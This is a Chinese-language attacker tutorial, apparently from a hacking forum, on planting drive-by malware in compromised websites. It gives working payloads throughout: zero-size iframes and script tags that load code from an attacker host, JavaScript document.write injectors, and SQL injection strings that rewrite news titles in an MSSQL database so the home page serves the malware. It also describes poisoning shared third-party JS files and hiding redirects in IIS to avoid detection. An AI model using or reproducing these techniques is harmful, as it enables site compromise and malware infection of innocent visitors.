這裏我拿掛首頁index.asp來舉例子。
先說一說,獲得webshell的掛馬方法
通常的掛馬的都是用框架,這是最基本的掛馬方式,只要不破壞原有的語言邏輯,那就想插入哪裏就寫哪裏了,最基本的語句固然是<iframe src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>,其中
[url]http://www.fucksb.net/mm.htm[/url]是咱們的***,下面就不一個一個提示了。
上面多是通常的掛馬方式,也是初學者的玩法,好了,再說深一點點的,那就是js文件,好多網站上,你查看源代碼都會調用js文件,其中的語句爲<script language=javascript src=./ad/ad.js></script>,想到了什麼,這裏也能夠掛馬,其中咱們能夠遠程調用本身的js,好比:<script language=javascript src=http://www.fucksb.net/mm.js></script>這個mm.js就能夠寫***了,怎麼寫呢,一樣,咱們還用最基本的iframe框架,不過在<script></script>之中可識別語言不是html,那怎麼辦呢,follow me,js文件能夠這樣寫:document.write("<iframe <iframe src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>");,這種形勢,這時就能夠執行此js中的代碼了,固然了,說白了,其實全語句就是<script language=javascript>document.write("<iframe <iframe src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>")</script>呵呵。。
聰明的你可能發現了一點,好像不止是js文件哦~,只要在<script></script>之中,不管什麼後綴的文件,只要裏面寫的語句能夠被javascript識別就會執行,對的,好比<script src=http://www.fucksb.net/mm.test></script>,又如<script src=http://www.fucksb.net/mm.lala></script>管他的後綴是什麼,只要裏面寫的語句正確就會被執行了。
一樣,若是首頁調用其它網站,或者次級目錄中的htm,asp等如:<iframe src=./ad/news.htm width=300 height=200></iframe>
也能夠在news.htm文件裏掛馬,能夠是htm和js,隨便哪一種,這是比較隱蔽的玩法,這些適用於主頁沒有寫權限的方法。
<script>同<iframe>2個相比較,好處是script總體掛馬的代碼長度比iframe小得多,很實用。說實用是在數據庫方面,下面介紹。
數據庫掛馬,這裏咱們拿mssql數據庫爲例子。
這裏說的是首頁調用到的數據庫,好比新聞,論壇,公告,等等,通常是標題。這些須要經驗去檢測,舉個例子,好比首頁有一條新聞爲:「明日開業」,那麼鼠標點此新聞,地址欄打開的新窗口爲news.asp?id=1,這種狀況,這時,就能夠判斷此新聞是從數據庫中調用的了,固然了,咱們不說access,只說mssql。
首頁,咱們要有這個網站中的一個注入點,好比就點在vote.asp?id=123,同時,至少是Db_owner權限,這時若是要掛馬能夠不用取到webshell,由於若是咱們的目的只在於掛馬的話,並且有時,還得檢測mssql數據庫和web服務器不在同一個機器上,那掛馬的方式就是更改數據庫內容,這裏我說的就是這種,如上面說的,首頁顯示的一條新聞標題爲「明日開業」,若是首頁顯示的標題是「明日開業</a><iframe src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>」,那這樣的話,首頁就會執行這段代碼了,像這種狀況,找到了注入點,就得找表名,如此新聞的表名爲news,字段爲title,id,等等,根據猜想,id=1時,暴出的字段title的值就爲「明日開業」,那麼90%就能夠猜到了,首頁調用的數據庫的字段就爲news表中的title,這時在注入點,能夠大膽提交vote.asp?id=123;update news set title='明日開業</a><iframe src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>' where id=1;--,這樣就能夠更改數據庫了,前提是最少要少db_owner權限,固然也有時因爲代碼緣由,也能夠這樣提交:vote.asp?id=123';update news set title='明日開業</a><ifrmae src=http://www.fucksb.net/mm.htm width=0 height=0></iframe>' where id=1 and '1'='1,也能夠...
這種方法是有問題的,實戰中存在很多問題,由於通常的狀況下,標題都是經過<table>來限制寬度,也就是說若是你的標題的長度超過了指定的長度,那麼你的代碼只能寫一半,這樣就不能執行了,因此掛馬最好的方法是用<script>這種方法來掛馬了,如:
vote.asp?id=123;update news set title='明日開業</a><script src=http://www.fucksb.net/mm.js></script>' where id=1;--長度有很大的減小,很不錯。
後臺掛馬
一般注入等不到webshell,就只能@@進後臺掛馬。
這裏說的是進入了後臺,但不能經過後臺獲得webshell,這時要仔細關察後臺,像比較網站的連接、頂部底部的廣告、均可以直接寫入你的***代碼,等等,後臺是靈活的,具體問題具體分析。不過有一點很重要,是不要打亂前臺htm源文件裏的代碼邏輯,好比應該閉合前面的<a><img>"( 等這些符號,應該先閉合掉如</a></img>")。
其它形式
如一首頁調用了<iframe src=vote.asp?id=1&no=view width=100></iframe>此種形勢,同樣能夠在vote.asp中直接寫入iframe***代碼,若是調用的是<script src=vote.asp?id=1&no=view width=100></script>在vote.asp寫代碼時,請用document.write("")這種格式寫入,固然,若是被掛文件中還有調用的文件能夠繼續往深處寫,若是你夠狠的話,直接寫到數據庫配置文件中,如conn.asp,這樣好多頁面能夠同時掛上你的一種***了。
固然這裏也有js文件,同樣原理。
掛一個網站的馬,不必定就得攻入他,有時沒有方法的同時,能夠考慮跨站。好多站用了別的站的js文件,如:<script src=http://www.163.com/user.js>這種情勢,這時就能夠考慮只拿163.com的權限就好了,只要能修改到user.js文件就能夠掛到你要掛的站點了,同理,也有<iframe src=http://www.163.com/user.htm>此種狀況,同樣道理,劍走偏鋒,達到目的,不管用什麼招數了。
服務器掛馬
這裏簡單說一個比較狠的吧.
重定向任何調用的htm,js,等文件,只要是執行的如圖
這種方法在計算中用搜索關鍵詞是搜索不到的,反正本地怎麼找也找不到。。誰能想到是在iis裏設置的呢?並且調用文件那麼多,怎麼知道是重定向的那個文件呢?反正如今想不到有什麼好方法能夠解決,若是服務器如上圖被掛馬了,偶最好的建議是重裝IIS..^_^